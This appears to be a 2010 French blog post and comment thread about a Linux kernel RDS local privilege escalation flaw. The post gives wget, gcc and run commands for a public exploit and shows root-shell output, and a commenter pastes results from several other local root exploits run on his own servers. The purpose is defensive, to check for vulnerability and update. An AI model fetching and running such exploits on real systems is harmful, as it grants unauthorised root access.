Faille de sécurité sur les kernels linux
Par Dju » 24 octobre 2010 (18:45) - Serveur
Une faille de sécurité a été découverte il y a 2 jours environ sur les noyaux linux, au niveau du protocole RDS (Reliable Datagram Sockets).
C'est une faille de type Local Root Exploit, permettant à un simple utilisateur de gagner l'accès root.
Cette faille est donc présente dans les kernels 2.6.30 à 2.6.36-rc8
exemple:
wget www.tux-planet.fr/public/hack/exploits/kernel/linux-rds-exploit.c
gcc -o rds ./linux-rds-exploit.c
et paf !
$ ./linux-rds-exploit [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses... [+] Resolved rds_proto_ops to 0xf7d2e518 [+] Resolved rds_ioctl to 0xf7d29000 [+] Resolved commit_creds to 0xc0450a6f [+] Resolved prepare_kernel_cred to 0xc045097a [*] Overwriting function pointer... [*] Triggering payload... [*] Restoring function pointer... [*] Got root! sh-4.1# id uid=0(root) gid=0(root) groups=0(root)
- sur une debian Lenny à jour, kernel 2.6.26-2, la faille n'est pas présente.
- sur ubuntu 9.10 avec kernel 2.6.31-20: la faille est présente
- sur ubuntu 10.04 avec kernel 2.6.32-24, la faille est présente
- sur ubuntu 10.10 avec kernel 2.6.35-22 la faille n'est pas présente
- sur une debian squeeze avec kernel 2.6.32-5, la faille n'est pas présente
Bref, testez la manipulation ci dessus, et si votre os est faillible, mettez à jour !
Je viens d'acquérir une Dédi V3 avec une Ubuntu server 10.04 (j'avais besoin de quelque chose fonctionnel rapidement, et en l'absence de KVM-like déployer une de mes archives perso est un peu fastidieux...)
Cette faille ainsi que celle que tu as publié le 19 septembre passent un peu trop facilement.
Petit déception pour un serveur livré clé en main, un aptitude safe-upgrade à tout de même solutioner le problème en installant un kernel 2.6.32-25
$ uname -r
2.6.32-25-server
Par acquis de conscience j'ai tenté de la reproduire sur deux autres de mes serveurs (sous Gentoo avec des kernel personnalisés) et elles ne fonctionnent pas...
Sur le premier une vieille gentoo de 3 ans
$ uname -r
2.6.23-hardened-r7-valkyrie
$ ./rds
./rds: /lib/libc.so.6: version `GLIBC_2.7' not found (required by ./rds)
//Toute façon le kernel est trop ancien pour celle là
$ ./robert
symbol table not available, aborting!
Process finished
Sur le second une install fraiche de quelques semaines
$ uname -r
2.6.34-gentoo-r11-tirnanog
$ ./rds
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Could not open socket.
$ ./robert
resolved symbol commit_creds to 0xffffffff81058709
resolved symbol prepare_kernel_cred to 0xffffffff81058604
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
sh-4.0$ id
uid=1000(kypdurron) gid=1000(kypdurron) groups=1000(kypdurron),10(wheel),18(audio),19(cdrom),27(video),85(usb),250(portage)
J'ai même été testé une faille du même genre publié sur tux-planet http://www.tux-planet.fr/local-root... (ça faisait un moment que j'avais pas testé des local root exploit surtout sur mon vieux serveur en 2.6.23)
$ uname -r
2.6.23-hardened-r7-valkyrie
$ ./gayros
We got NULL page babe!
Using kernel version 2.6.23-hardened-r7-valkyrie.
Found version 3 structure, doing our tricks in memory...
Go go go boy!
$ id
uid=1000(kypdurron) gid=1000(kypdurron) groups=10(wheel),12(mail),16(cron),100(users),250(portage),1000(kypdurron)
cette faille qui a maintenant un an est toute façon patché sur les kernel récents
En clair sur les Gentoo soit RDS n'est pas activé dans le kernel (ou kernel trop ancien) soit la faille est patchée pour le recent, sinon pour la 2.6.23 sensé être vulnérable, on va dire que c'est le petit miracle de la gentoo "hardened" (un kernel patché avec quelques sécurités supplémentaires, je n'ai pas activé de SELinux ou autre...)
C'est peut être un mauvais conseil, mais compiler son kernel soit même avec le strict nécessaire et accessoirement quelques patchs, permet apparement de ne pas être à la merci des failles qui vont chercher dans des modules livrés avec les distributions généralistes...
Sur une Debian je n'avais pas eu de problème a recompiler un kernel, je vais peut être me lancer dans l'éxperience sur cette Ubuntu livré avec la V3.
Salut et merci pour le retour
C'est vrai que compiler soi meme pour avoir juste ce dont on a besoin est une bonne solution, mais ça oblige à recompiler quand on veut mettre à jour...
De ce point de vue, c'est bien pratique d'avoir des paquets pré-compilés via aptitude :p
D'autre part, quand j'installe un OS sur une machine, je m'assure de faire toutes les mises à jours avant de commencer à installer les services (ce que fait debian à l'install, contrairement à ubuntu)
Ce n'est pas tant l'aspect compilation qui est intéressant dans mon retour que l'aspect personnalisation...
J'utilise Gentoo surtout pour son approche minimaliste, pour la plupart de mes besoins des paquets binaires seraient bien plus pratiqued. Debian (et Ubuntu j'imagine) permet également de télécharger les sources à compiler soi même (pour les paquets avec apt-get source), le kernel nécessite quant à lui quelques outils dédiés sur cette distrib, mais en activant le support des modules il est assez aisé de compiler par la suite, sous forme de modules, des éléments manquants dans le kernel.
Enfin je prêche pas pour une distrib, l'essentiel est d'arriver à répondre aux besoins avec les outils avec lesquels on se sent à l'aise, mais je trouve tout de même les kernel pré-compilés un peu trop généralistes, de ce fait ils sont souvent sensibles à des failles sur des options obscures qui ne sont pas toujours nécessaires à la production d'un serveur dédié à un usage précis.
Fil des commentaires de ce billet
URL de rétrolien : https://blog.crifo.org/trackback/76